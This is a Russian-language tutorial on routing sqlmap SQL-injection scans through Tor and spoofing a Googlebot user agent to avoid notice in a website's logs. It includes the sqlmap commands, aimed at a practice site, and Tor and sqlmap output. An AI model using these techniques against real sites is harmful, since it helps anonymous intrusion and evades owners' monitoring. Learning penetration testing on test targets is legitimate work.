В предыдущем уроке я продемонстрировал, как использовать SqlMap для выполнения Sql Injection на веб-сайте.
В этом уроке я покажу вам, как использовать Tor для добавления слоя неясности между вами и целевым веб-сайтом.
Установка Tor
Установить Tor в Kali Linux так же просто, как набирать одну строку в терминале,
apt-get instal tor
Если у вас возникли проблемы с установкой, сначала сделайте обновление системы :
apt-get update
Запустить Tor
Это также довольно просто
tor
Root@kali: Sep 04 02:41:25.806 [notice] Tor v0.2.8.7 (git-cc2f02ef17899f86) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2h and Zlib 1.2.8. Sep 04 02:41:25.806 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning Sep 04 02:41:25.806 [notice] Read configuration file "/etc/tor/torrc". Sep 04 02:41:25.811 [notice] Opening Socks listener on 127.0.0.1:9050 Sep 04 02:41:25.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip. Sep 04 02:41:25.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6. Sep 04 02:41:26.000 [warn] You are running Tor as root. You don't need to, and you probably shouldn't. Sep 04 02:41:26.000 [notice] Bootstrapped 0%: Starting Sep 04 02:41:27.000 [notice] Bootstrapped 5%: Connecting to directory server Sep 04 02:41:27.000 [notice] Bootstrapped 10%: Finishing handshake with directory server Sep 04 02:41:27.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection Sep 04 02:41:27.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus Sep 04 02:41:28.000 [notice] Bootstrapped 25%: Loading networkstatus consensus Sep 04 02:41:29.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. Sep 04 02:41:30.000 [notice] Bootstrapped 40%: Loading authority key certs Sep 04 02:41:30.000 [notice] Bootstrapped 45%: Asking for relay descriptors Sep 04 02:41:30.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/7117, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw = 0% of path bw.) Sep 04 02:41:31.000 [notice] Bootstrapped 50%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 55%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 61%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 66%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 73%: Loading relay descriptors Sep 04 02:41:34.000 [notice] Bootstrapped 78%: Loading relay descriptors Sep 04 02:41:35.000 [notice] Bootstrapped 80%: Connecting to the Tor network Sep 04 02:41:36.000 [notice] Bootstrapped 90%: Establishing a Tor circuit Sep 04 02:41:38.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working. Sep 04 02:41:38.000 [notice] Bootstrapped 100%: Done
Важно: Не закрывайте этот терминал. Откройте новый терминал для дальнейших шагов.
Тестирование с помощью Sqlmap
Выполните команду:
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2 --tor --tor-type=SOCKS5
Если вам нужна текстовая версия: –
_ ___ ___| |_____ ___ ___ {1.0.8.2#dev} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 02:47:02 [02:47:02] [WARNING] increasing default value for option '--time-sec' to 10 because switch '--tor' was provided [02:47:02] [INFO] setting Tor SOCKS proxy settings [02:47:02] [INFO] testing connection to the target URL [02:47:03] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [02:47:04] [INFO] testing if the target URL is stable [02:47:06] [INFO] target URL is stable [02:47:06] [INFO] testing if GET parameter 'cat' is dynamic [02:47:07] [INFO] confirming that GET parameter 'cat' is dynamic
Дополнительная скрытность
Сканеры Google часто посещают веб-сайты и являются одним из наименее подозрительных объектов в журналах веб-сайта.
Мы можем использовать это в наших интересах.
Используйте эту команду, чтобы притворяться googleBot.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2 --tor --tor-type=SOCKS5 --user-agent="Googlebot (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Это то, что вы увидите.
На данный момент вы будете выглядеть как бот Google, и ваш IP-адрес будет иметь некоторый узел выхода Tor.
Этого должно быть достаточно для большинства целей.
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.